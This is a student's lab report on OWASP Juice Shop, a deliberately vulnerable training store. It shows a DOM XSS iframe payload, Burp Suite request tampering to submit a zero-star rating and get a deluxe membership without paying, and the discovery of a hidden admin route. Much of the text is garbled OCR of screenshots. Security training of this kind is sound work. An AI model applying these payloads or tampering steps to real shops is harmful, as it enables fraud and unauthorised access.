# Web Hacking Lab

Name: <u>Eric Wellmaker</u>

#### 1 Overview

This lab utilizes the OWASP Juice Shop project to expose students to discovering web vulnerabilities through use of multiple tools and techniques.

## 1.1 Background

The OWASP Juice Shop is a commerce oriented web application which contains many vulnerabilities of varying difficulty to exploit which align with the OWASP Top 10 vulnerabilities. As is often the case there may be multiple ways to exploit a particular vulnerability. Use of a training ground such as Juice Shop allows an individual to practice with multiple tools or processes in identifying and exploiting vulnerabilities.

## 3.3 Complete the one and two star difficulty tutorials (25pts)

Your first task will be to uncover the Juice Shop scoreboard. This scoreboard will not only provide you feedback on your progress but allow you to launch the tutorials required to complete this section.

One star challenges

Score Board – Find the carefully hidden 'Score Board' page.

DOM XSS – Perform a DOM XSS attack with <iframe src="javascript:alert('xss')">

Bonus Payload - Use the bonus payload <iframe width="100%" height="166" scrolling="no" frameborder="no" allow="autoplay"

src="https://w.soundcloud.com/player/?url=https%3A//api.soundcloud.com/tracks/771984076&color= %23ff5500&auto\_play=true&hide\_related=false&show\_comments=true&show\_user=true&show\_repos ts=false&show\_teaser=true"></iframe> in the DOM XSS challenge.

Privacy Policy – Read our privacy policy.

Two star challenges

Login Admin – Log in with the administrator's user account

Password Strength – Log in with the administrator's user credentials without previously changing them or applying SQL Injection.

View Basket - View another user's shopping basket

= 🗕 🚊 OWASP Juic	e Shop				Q. 😝 Account 🏋 Your Basket 🌐 EN
Score Board 7%					Coding Score 0%
		Show all Show solved Show tutorials only	1 Show unavailable	•	
Broken Access Control Broken Sensitive Data Exposure Unv	n Anti Automation Broken Authent alidated Redirects Vulnerable Con	ication Cryptographic Issues Improper Input Validation Injection Insecur Inponents XSS XXE Hide all	e Deserialization Miscellaneous	Security Misconfiguration	Security through Obscurity
Admin Registration	***	Register as a user with administrator privileges.	Improper Input Validation		nsolved 📀
Admin Section	**	Access the administration section of the store.	Broken Access Control		Insolved 📀
Bjoern's Favorite Pet	***	Reset the password of Bjoem's OWASP account via the Forgot Password mechanism with the original answer to his security question.	Broken Authentication		unsolved
Bonus Payload	*	Use the bonus payload <iframe <br="" height="166" width="100%">scrolling="no" frameborder="no" allow="autoplay" sre="https://w.soundcloud.com/jlayer/?url=https!3A //api.soundcloud.com/tracks/7719840766color=%23ff55006</iframe>	xss	Shenanigans	solved 💿 🐼
Bonus Payload	*	Use the bonus payload <i <br="" frame="" height="166" width="100%">scrolling='no' frameborder='no' allow='autoplay' scr='http://w.soundcloud.com/bayer/int=htpsia //api.soundcloud.com/track//719848766color=23175906 auto_play=truebidhe_relatefalsebShow_comments=true6 show user=truebidhey.reposts=falsebShow_teaser=true'&gt; in DOM XSC Schlenge.</i>	XSS he	Shenanigans Tutorial	Solved 💿 📀
Bully Chatbot	*	Receive a coupon code from the support chatbot.	Miscellaneous	Brute Force Shenanigans	unsolved
CAPTCHA Bypass	***	Submit 10 or more customer feedbacks within 20 seconds.	Broken Anti Automation		• unsolved
CSRF	***	Change the name of a user by performing Cross-Site Request Forgery from another origin.	Broken Access Control		
Confidential Document	*	Access a confidential document.	Sensitive Data Exposure	Good for Demos	unsolved
DOM XSS	*	Perform a DOM XSS attack with <iframe <="" src="javascript:alert(`xss`)" td=""><td></td><td>Good for Demos Tutorial</td><td>solved Q 📀</td></iframe>		Good for Demos Tutorial	solved Q 📀

Login Admin	**	Log in with the administrator's user account.	Injection	Good for Demos Tutorial	solved 💿 🐼
Login Amy	***	Log in with Amy's original user credentials. (This could take 93.83 billion trillion trillion centuries to brute force, but luckily she did not read the "One Important Final Note")	n t Sensitive Data Exposure		unsolved
Login Bender	***	Log in with Bender's user account.	Injection		🛄 unsolved 🛛 📀 📀
Login Jim	***	Log in with Jim's user account.	Injection		🚺 unsolved 🛛 🔕 🐼
Login MC SafeSearch	**	Log in with MC SafeSearch's original user credentials without applying SQL Injection or any other bypass.	Sensitive Data Exposure	OSINT Shenanigans	• unsolved
Manipulate Basket	***	Put an additional product into another user's shopping basket.	Broken Access Control		unsolved
Mass Dispel	*	Close multiple "Challenge solved"-notifications in one go.	Miscellaneous		nsolved •
Meta Geo Stalking	**	Determine the answer to John's security question by looking at an upload of him to the Photo Wall and use it to reset his password via the Forgot Password mechanism.	Sensitive Data Exposure		a unsolved
Missing Encoding	*	Retrieve the photo of Bjoern's cat in "melee combat-mode".	Improper Input Validation		1 unsolved
Outdated Allowlist	*	Let us redirect you to one of our crypto currency addresses which are not promoted any longer.	Unvalidated Redirects		unsolved
Password Strength	**	Log in with the administrator's user credentials without previously changing them or applying SQL Injection.	Broken Authentication	Brute Force Tutorial	solved
Payback Time	***	Place an order that makes you rich.	Improper Input Validation		unsolved
				Good Practice	
Privacy Policy	*	Read our privacy policy.	Miscellaneous	Good for Demos	solved
Privacy Policy Privacy Policy	*	Read our privacy policy. Read our privacy policy.	Miscellaneous Miscellaneous	Good for Demos Good for Demos Tutorial	solved
Privacy Policy Privacy Policy Privacy Policy Inspection	* * ***	Read our privacy policy. Read our privacy policy. Prove that you actually read our privacy policy.	Miscellaneous Miscellaneous Security through Obscurity	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans	solved
Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering	* * *** ***	Read our privacy policy.  Read our privacy policy.  Prove that you actually read our privacy policy.  Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://wwasp.slack.com.	Miscellaneous Miscellaneous Security through Obscurity Broken Access Control	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans	Solved Solved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration	* * * * * * * *	Read our privacy policy. Read our privacy policy. Prove that you actually read our privacy policy. Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into <i>https://owasp.slack.com</i> . Follow the DRY principle while registering a user.	Miscellaneous Miscellaneous Security through Obscurity Broken Access Control Improper Input Validation	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans	Solved Solved Unsolved Unsolved Unsolved Unsolved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password	* * * * * * * * * * *	Read our privacy policy.  Read our privacy policy.  Prove that you actually read our privacy policy.  Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://owasp.slack.com. Follow the DRY principle while registering a user.  Reset jim's password via the Forgot Password mechanism with the original answer to his security question.	Miscellaneous Miscellaneous Security through Obscurity Broken Access Control Improper Input Validation Broken Authentication	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OSINT	solved     solved     unsolved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password Score Board	* * * * * * * * * * *	Read our privacy policy.  Read our privacy policy.  Prove that you actually read our privacy policy.  Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://owasp.slack.com.  Follow the DRY principle while registering a user.  Reaset jim's password via the Forgot Fassword mechanism with the original answer to his security question.  Find the carefully hidden 'Score Board' page.	Miscellaneous Miscellaneous Security through Obscurity Broken Access Control Improper Input Validation Broken Authentication Miscellaneous	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OsikrT Code Analysis Tutorial	Solved Solved Unsolved Unsolved Unsolved Unsolved Unsolved Unsolved Unsolved Unsolved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password Score Board Security Policy	* * * * * * * * * * * * * * * * * * *	Read our privacy policy.         Read our privacy policy.         Prove that you actually read our privacy policy.         Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://wwasp.slack.com.         Follow the DRY principle while registering a user.         Reset jim's password via the Forget Password mechanism with the original answer to his security question.         Find the carefully hidden "Score Board" page.         Behave like any "white-hat" should before getting into the action.	Miscellaneous           Miscellaneous           Security through Obscurity           Broken Access Control           Improper Input Validation           Broken Authentication           Miscellaneous           Miscellaneous	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OSINT Code Analysis Tutorial Good Practice	Solved Solved Solved Solved Solved Solved Solved Solved Solved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password Score Board Security Policy Upload Size	* * * * * * * * * * * * * * * * * * *	Read our privacy policy.         Read our privacy policy.         Prove that you actually read our privacy policy.         Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://wasp.sback.com.         Follow the DRY principle while registering a user.         Reset jim's password via the Forget Password mechanism with the original answer to his security question.         Find the carefully hidden "Score Board" page.         Behave like any "white-hat" should before getting into the action.         Upload a file larger than 100 k8.	Miscellaneous           Miscellaneous           Security through Obscurity           Broken Access Control           Improper Input Validation           Broken Authentication           Miscellaneous           Miscellaneous           Miscellaneous	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OSINT Code Analysis Tutorial Good Practice	Solved Solved Solved Solved Solved Solved Solved Solved Solved Solved Solved Solved
Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password Score Board Security Policy Upload Size Upload Type	* * * * * * * * * * * * * * * * * * *	Read our privacy policy.         Prove that you actually read our privacy policy.         Change the href of the link within the OVMSP SSL Advanced Forensic Tool (O Saft) product description into https://owasp.slack.com.         Follow the DRY principle while registering a user.         Reading answord via the Forgot hassword mechanism with the original answer to his security question.         Find the carefully hidden 'Score Board' page.         Behave like any "white-hat" should before getting into the action.         Upload a file larger than 100 kB.         Upload a file that has no .pdf or .zip extension.	Miscellaneous  Miscellaneous  Security through Obscurity  Broken Access Control  Tmproper Input Validation  Miscellaneous  Miscellaneous  Improper Input Validation	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OSINT Code Analysis Tutorial Good Practice	Solved S
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset JIM's Password Security Policy Upload Size Upload Type View Basket	* * * * * * * * * * * * * * * * * * *	Read our privacy policy.         Prove that you actually read our privacy policy.         Change the href of the link within the OWASP SSL Advanced Forensic Tool (O Saft) product description into https://wasp.sback.com.         Follow the DRY principle while registering a user.         Reset jim ty password via the Forgot Password mechanism with the original answer to his security question.         Find the carefully hidden 'Score Board' page.         Behave like any "white-hat" should before getting into the action.         Upload a file that has no .pdf or .zbp extension.         View another user's shopping basket.	Miscellaneous           Miscellaneous           Security through Obscurity           Broken Access Control           Improper Input Validation           Miscellaneous           Miscellaneous           Miscellaneous           Improper Input Validation           Improper Input Validation           Miscellaneous           Improper Input Validation           Improper Input Validation           Improper Input Validation           Improper Input Validation	Good for Demos Good for Demos Tutoriai Good for Demos Shenanigans OSINT Code Analysis Tutoriai Good for Demos Tutoriai	Solved Solved
Privacy Policy Privacy Policy Privacy Policy Privacy Policy Inspection Product Tampering Repetitive Registration Reset Jim's Password Score Board Score Board Upload Size Upload Size Upload Type View Basket Visual Geo Stalking	* * * * * * * * * * * * * * * * * * *	Read our privacy policy.         Read our privacy policy.         Prove that you actually read our privacy policy.         Change the href of the link within the OWASP SSL Advanced Forensic Tool (OSaft) product description into https://owasp.slack.com.         Follow the DRY principle while registering a user.         Pesset jim's password via the Forgot Password mechanism with the original answer to his security question.         Find the carefully hidden "Score Board" page.         Behave like any "white-hat" should before getting into the action.         Upload a file larger than 100 k8.         Upload a file that has no .pdf or .zip extension.         View another user's shopping basket.         Determine the answer to Emma's security question by looking at an upload o her to the Photo Wall and use it to reset her password via the Forgot Password	Miscellaneous	Good for Demos Good for Demos Tutorial Good for Demos Shenanigans OSH/T Code Analysis Tutorial Good Practice Good for Demos Tutorial OSINT OSINT	Solved Solved

Task 3.4 Complete 'Zero Stars' challenge (one star difficulty) (20 pts)

The Zero Stars challenge if for you to find a way to give a devastating zero-star feedback to the store.

Tou successibility solved a challenge: Zero Stars (Give a devastating zero-star feedback to the store.)	x
Score Board 7% Coding Score 0%	
4/12       3/12       0/22       0/25       0/18       0/11       Show all       The solution of	
Broken Access Control Broken Anti Automation Broken Authentication Cryptographic Issues Improper Input Validation Injection Insecure Deserialization Miscellaneous Security Misconfiguration Security through Obscurity Sensitive Data Exposure Unvalidated Redirects Vulnerable Components XSS XXE Hide all	
Dankband Target Nuclear Repeater Visiout Repeater Sequencer Decoder Comparer Legger Extender Percept HTTPhany WetSacketshatany Options Course Sequences The Course Sequence Comparer Legger Extender MTTPhany WetSacketshatany Options Course Sequences Course Sequences Comparer Legger Extender Course Sequences Course Sequences Course Cou	v ○ ○ © * X □ @ :
Forward     Drop     Intercept Is on     Action     Open Browser       Pretty     Raw     Hox	৹ ⊕
<pre>1 Post / Post/Reducks/ HTTP/1.1 2 Post/Reducks/ HTTP/1.2 2 Post/Re</pre>	
Submit	

```
"captchaId":10,
"captcha":"17",
"comment":"zero rating (anonymous)",
"rating":0
}
```

To accomplish the zero-feedback rating, I had to utilize another exploit program called Burp Suite. Burp is known for man-in-the middle attacks, so to accomplish giving a "zero rating" I had to open a window inside Burp Suite. From there, I had to intercept the traffic. In the adjacent window for giving customer feedback, I originally gave feedback of 3, then under the Burp intercept forwarding command, I could see the "rating". I altered the rating to a zero, then hit submit, resulting in a zero rating for the exercise.

The OWASP Top Ten category for this type of vulnerability would be A1 (Injection Vulnerability) A5 (Security misconfiguration). Mitigation for the Injection Vulnerability would not be allowing a user to accept untrusted data from another application without first properly validating it. And implement access control mechanisms once and re-use them throughout the application, including minimizing Cross-Origin Resource Sharing (CORS) usage (OWASP TOP10., 2021). The other would be properly configured web browser, security software that would guard against vulnerability attacks and utilizing a segmented application architecture which would protect critical infrastructure components from being accessed in the event of a security breach (Simpson, M., & Antill, N., 2017).

## Task 3.5 Complete 'Admin Section' challenge (two star difficulty) (25 pts)

t.CHM(e Main Thread return t.KtG(i.upgradeToDeluxe()) ♥ ⊕ localhost:3000 🕒 (index) t.TgZ(5, 'span', 13), t.\_uU(6, 'LABEL\_BECOME\_MEMBER'), { } main.js if (2 & o) { JS polyfills is JS runtime.js JS tutorial.js } JS vendor.js 16792 cdnjs.cloudflare.com const fc = function (o) { return { 16798 path: 'administration', component: ua,

The Admin Section challenge is for you to access the administration section of the store.



For this exploit, I right clicked on the mouse and selected the Inspect (Q) option. From there, I navigated over to the Debugger tab and selected JS main.js. To make it easier to read, you click the {} and it will be in a readable script from 1-til the end of the script. From here I did a "control F" and searched for admin and located the path: 'administration'. This is what I needed to complete the question. First, I had to login to the website as an admin, otherwise I would get a 403 error. I substituted the scoreboard for administration, and it redirected me to the admin section of the store where I could view all comments for clients store experience. The OWASP Top Ten category for this type of vulnerability would be A4 (Insecure direct object reference). This is the ability for a programmer to guess names when accessing database records (Simpson, M., & Antill, N., 2017). The recommended mitigation for this vulnerability would be to provide a two-way authentication key to the admin that requests to login with administrator privileges. This way, when a request is sent a secondary email or text message is sent to the registered device of the admin to further authenticate the admin. Another level of protection would be to separate tier layers on the system and network layers depending on the necessary level of usage and the type of data being stored (OWASP TOP10., 2021).

#### Task 3.6 Complete 'Deluxe Fraud' challenge (three star difficulty) (30 pts)

The Deluxe Fraud challenge is for you to obtain a Deluxe Membership without paying for it. You should complete this challenge using your user account (i.e. not an admin or other user) and not user a credit card.

5/12 2 4/12	1/22 4 5		TN_SHOW_ONLY_TUTORIALS	4
CATEGORY_BROKEN_ACCESS_CONT	ROL CATEGORY_BROKEN_ANTI_A	UTOMATION CATEGORY_BROKEN_AUTHENTICATION CATEGORY_CRYPTOGRA	PHIC_ISSUES CATEGORY_IMPROPER_INPUT_VALIDATION CATH	EGORY_INJECTION
CATEGORY_INSECURE_DESERIALIZA	ATION CATEGORY_MISCELLANEOU	S CATEGORY_SECURITY_MISCONFIGURATION CATEGORY_SECURITY_THROUG	SH_OBSCURITY CATEGORY_SENSITIVE_DATA_EXPOSURE CATE	EGORY_UNVALIDATED_REDIRECTS
CATEGORY_VULNERABLE_COMPONE	ENTS CATEGORY_XSS CATEGO	DRY_XXE BTN_HIDE_ALL		
LABEL_NAME	LABEL_DIFFICULTY	LABEL_DESCRIPTION	LABEL_CATEGORY LABEL_TAGS	LABEL_STATUS
Admin Registration	***	Register as a user with administrator privileges.	CATEGORY_IMPROPER_INPUT_VALI	
Bjoern's Favorite Pet	***	Reset the password of Bjoern's OWASP account via the Forgot Password mechanism with the original answer to his security question.	CATEGORY_BROKEN_AUTHENTICA1 TAG_OSINT	STATUS_UNSOLVED
CAPTCHA Bypass	***	Submit 10 or more customer feedbacks within 20 seconds.	CATEGORY_BROKEN_ANTI_AUTOM# TAG_BRUTE_FORCE	STATUS_UNSOLVED
CSRF	***	Change the name of a user by performing Cross-Site Request Forgery from another origin.	CATEGORY_BROKEN_ACCESS_CON	STATUS_UNSOLVED
Database Schema	***	Exfiltrate the entire DB schema definition via SQL Injection.	CATEGORY_INJECTION	STATUS_UNSOLVED
Deluxe Fraud	***	Obtain a Deluxe Membership without paying for it.	CATEGORY_IMPROPER_INPUT_VALI	STATUS_SOLVED

For the final section, I had to log into my account and click the Label Deluxe Member. From there, I clicked again Lable\_Become\_Member. From here I had to open Burp Suite in an adjacent window to complete the upgrade action. Going back to My\_Payment\_Options, I right clicked Inspect(Q). Clicking the pick an element option, help narrow down the search



The section highlighted in blue is important because it determines whether or not the customer has paid. It is here that I will alter the code by erasing the "mat button-disabled" & "disabled="true" in order

	N	ly Payr	ment O	ptions						
		Add new	card	Add a c	redit or del	bit card		~		
		Pay usinç	g wallet	w	'allet Balaı	1ce49.00	<b>2</b> Pay 49.0	00=		
		Add a coi	upon	Add a c	oupon cod	e to receive	discounts	~		
		Other pay	/ment optic	ons				*		
		< Back					> C	ontinue		
R Elements	Console	Sources	Network	Performance	Memory	Application	Security	>>	<b>0</b> 6	1 🌣 :
	v <b_ngco< td=""><td>ntent-ugb-c</td><td>233&gt;</td><td></td><td></td><td></td><td></td><td></td><td>•</td><td>Styles »</td></b_ngco<>	ntent-ugb-c	233>						•	Styles »
	<span< td=""><td>ngcontent-u</td><td>igb-c233 tr</td><td>anslate clas</td><td><mark>s=</mark>"card-tit</td><td>le"&gt;Wallet E</td><td>Balance<td>n&gt;</td><td></td><td>:hov .cls -</td></td></span<>	ngcontent-u	igb-c233 tr	anslate clas	<mark>s=</mark> "card-tit	le">Wallet E	Balance <td>n&gt;</td> <td></td> <td>:hov .cls -</td>	n>		:hov .cls -
	<pre> <span< td=""><td>_ngcontent-u ntent-ugb-c</td><td>ugb-c233 cli 233 fxflex=</td><td>"20%" style</td><td>ation card. ="flex: 1 1</td><td>100%; box-s</td><td>) izing: bord</td><td>er-box; max-</td><td>width: 2</td><td><pre>element.styl e {    float:         right; }</pre></td></span<></pre>	_ngcontent-u ntent-ugb-c	ugb-c233 cli 233 fxflex=	"20%" style	ation card. ="flex: 1 1	100%; box-s	) izing: bord	er-box; max-	width: 2	<pre>element.styl e {    float:         right; }</pre>
2	▼ <button< td=""><td>ngcontent-</td><td>ugb-c233 ty</td><td>pe="submit"</td><td>color="prin</td><td>nary" mat-ra: — en</td><td>ised-button</td><td>class="mat-</td><td>focus-indi</td><td>styles.css</td></button<>	ngcontent-	ugb-c233 ty	pe="submit"	color="prin	nary" mat-ra: — en	ised-button	class="mat-	focus-indi	styles.css
	<pre><span <="" <span="" pre="">/// <pre>// <pr< td=""><td>nat-faise class="mat-b natripple cl class="mat-b</td><td>button-wrap Lass="mat-r button-focu</td><td>per"&gt;_ipple mat-bu s-overlay"&gt;&lt;</td><td><pre>&gt;tton-ripple /span&gt;</pre></td><td>"&gt;</td></pr<></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></pre></span></pre>	nat-faise class="mat-b natripple cl class="mat-b	button-wrap Lass="mat-r button-focu	per">_ipple mat-bu s-overlay"><	<pre>&gt;tton-ripple /span&gt;</pre>	">				.bluegrey- lightgreen- theme .mat- raised- button:not([c ass*=mat- elevation-z])
ndicator.mat-own-c	ard.mat-elevatio	on-z6 div d	div.custom-ca	rd.ng-star-inse	rted div d	v button.mat	-focus-indicate	or.btn.mat-raise	ed-button	box-shadow

to make the balance icon clickable. From there, I went into Burp Suite to execute the alteration of code:

Going back to Burp Suite, I utilized the intercept feature and on line 21 you can see {"paymentMode":wallet"}

Dashboard		Repeater	WINDOW	пер			
	Target	Pro	xxy Ir	ntruder	Repeater	Sequencer	Decode
Project options	s Usero	options	Learn				
Intercept	HTTP histor	y We	ebSockets hi	story	Options		
🖉 Request to	http://localh	ost:3000 [	[127.0.0.1]				
Forward		Drop	Interc	ept is on	Action	Open Brov	vser
Pretty Ra	w Hex					E	) \n ≡
1 POST /res	t/deluxe-	members	hip HTTP	/1.1			
2 Host: loc	alhost:30	000					
3 Content-L	ength: 24	4		u el			
4 sec-ch-ua	: Not;A=	=Brand";	v="99",	"Chromiu	m";v="106"		
5 Accept; a	pplicatio	on/json, Licstics	text/pl	ain, */*			
7 sec-ch-us	-mobile	70	/ Joon				
8 Authoriza	tion: Bea	arer					
eyJOeXAiO	JKV1QiL(	CJhbGciO	JSUzI1N	iJ9.eyJz	dGF0dXMiOiJz	dWNjZXNzIiwiZ	GFOYSIG
eyJpZCI6M	hjIsInVzZ)	KJuYW1lI	joiIiwiZ	WlhaWwiC	iJyM2d00TAz(	QGdtYWlsLmNvbS	IsInBhc
3N3b3JkIj	oiNTgyZWM	MxNGMwNj	AIMWJINW	YzYTJjZm	UIMTKOZTUSO	OciLCJyb2xlIjo	iY3VzdG
9tZXIiLCJ	lkZWxleGVL	Jb2tlbiI	6IiIsImx	hc3RMb2d	pbklwIjoiMC4	4wLjAuMCIsInBy	b2ZpbGV
JbWFnZSI6	iIi9hc3Nld	dHMvcHVi	bGljL2lt	YWdlcy91	cGxvYWRzL2R	.ZmF1bHQuc3ZnI	iwidG90
cFNlY3Jld	CIGIIISIm	nlzQWNOa	XZl IjpOc	nVlLCJjc	mVhdGVkQXQi	DilyMDIyLTEwLT	IOIDAyO
jEyOjI4Lj	M3Ny Ar MDA	AGMDAiLC	JlcGRhdG	VkQXQ101	IyMDIyLTEwL	[IOIDAyO]EyO]I	4Lj M3Ny
ArMDA6MDA	iLCJkZWxl	LdGVkQXQ	10m51bGx	9LCJpYXQ	10] E2N] Y10D/	A2MTQsImV4cCI6	MTY2NjU
SODYXINHU.	XURS14rWF	-r6xJGU3	JUTVD240	4p2p1 du7	90X ryu5H1Ly0	COOMWERED VE IN	1 achDv9
m6HrTwl Tx	OnESEGSa	dwiRA19	S cN8ex3	т	uvo_opwzezit	SCOOMMISTRI CYRDU	ceonbyo
9 User - Agen	t: Mozill	a/5.0 (	Windows	NT 10 0.	N	AppleWebKit/	
(KHTML, 1	ike Gecko			111 10101	W1064: X64	ADDLENEDRILL	537.36
0 sec-ch-ua	als \$5 for failing for \$5 ft.	o) Chrom	e/106.0.	5249.62	Win64; x64 Safari/537.3	36	537.36
	-platform	o) Chrom n: "Linu	e/106.0. x"	5249.62	Win64; x64 Safari/537.3	36	537.36
1 Origin: h	-platform ttp://loc	o) Chrom n: "Linu calhost:	e/106.0. x" 3000	5249.62	Win64; x64 Safari/537.3	36	537.36
1 Origin: h 2 Sec-Fetch	-platform http://loc -Site: sa	o) Chrom n: "Linu calhost: ame-orig	e/106.0. x" 3000 jin	5249.62	Win64; x64 Safari/537.3	36	537.36
1 Origin: h 2 Sec-Fetch 3 Sec-Fetch	a-platform http://loc h-Site: sa h-Mode: co	o) Chrom n: "Linu calhost: ame-orig ors	e/106.0. x" 3000 in	5249.62	win64; x64; Safari/537.3	36	537.36
1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch	a-platform http://loc h-Site: sa h-Mode: co h-Dest: em	o) Chrom n: "Linu calhost: ame-orig ors npty	e/106.0. x" 3000 in	5249.62	Win64; x64 Safari/537.:	36	537.36
1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer:	-platform http://loc -Site: sa -Mode: co -Dest: em http://lo	o) Chrom n: "Linu calhost: ame-orig ors npty ocalhost	e/106.0. x" 3000 in :3000/	5249.62	Win64; x64 Safari/537.:	36	537.36
1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er	a-platform http://loc i-Site: sa i-Mode: co i-Dest: em http://lo icoding: c	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de	e/106.0. x" 3000 in :3000/ flate	5249.62	W1n64; x64 Safari/537.:	36	537.36
1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-En 7 Accept-La	a-platform http://loc o-Site: sa o-Mode: co o-Dest: em http://lo coding: co inguage: e	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en	e/106.0. x" 3000 in :3000/ flate ;q=0.9	5249.62	Win64; X64 Safari/537.3	appreneutry	537.36
1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: 1 dismise:	a-platform http://loc i-Site: sa i-Mode: co i-Dest: em http://lo icoding: c inguage: e anguage: e token=	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en en; welc	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne	r_status	Win64; x64 Safari/537.3 =dismiss; co	ookieconsent_s	537.36 tatus=
<pre>1 Origin: h 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: l dismiss; evJOeXAiC</pre>	-platform -ttp://loc -Site: sa -Mode: co -Dest: em http://lo coding: g anguage=e anguage=e token= hjJKV101L0	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en en; welc CJhbGci0	e/106.0. x" 3000 in :3000/ :flate ;;q=0.9 :omebanne biJSUzIIN	r_status	Win64; x64 Safari/537.: =dismiss; co dGF0dXMi0iJ;	ookieconsent_s	537.36 tatus= GF0YSI6
1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: 1 dismiss; eyJOeXAIC eyJPZCI6M	platform http://loc Site: se Mode: co Dest: em http://lo ccoding: g inguage: e anguage=e token= hJSV1QiLC hJSV1QiLC	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en en; welc CJhbGciO XJuYWllI	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne biJSUzIIN joiIiwiZ	r_status iJ9.eyJz WlhaWwi0	W1D64; X64; Safari/537.: =dismiss; co dGF0dXMiOiJ; iJyM2d00TAzo	pokieconsent_s	tatus= GF0YSI6 IsInBhc
<pre>1 Origin: H 2 Sec-Fetch 3 Sec-Fetch 4 Sec-Fetch 5 Referer: 6 Accept-Er 7 Accept-La 8 Cookie: l dismiss; eyJOeXAC eyJPZCI6M 3N3b3JKIj</pre>	platform http://loc Site: sa Mode: co Dest: em http://loc coding: g anguage=e token= hiJKVlQiLC hjIsINVZ2X	o) Chrom m: "Linu calhost: ame-orig ors mpty ocalhost gzip, de en-US,en en; welc CJhbGciO XJuYW1lI MxNGMwNj	e/106.0. x" 3000 in :3000/ flate ;q=0.9 comebanne biJSUzIIN joiIiwiZ AIMWJLNW	r_status iJ9.eyJz WihaWwi0 YzYTJjZm	WINC4; X64 Safari/537.: =dismiss; co dGFOdXMiOiJ; iJJM2d00TAz( UIMTk0ZTU500	pokieconsent_s dWNjZXNzIiwiZ JGdtYWlsLmNvbS dciLCJyb2xlIjo	tatus= GF0YSI6 ISINBhc iY3VzdG
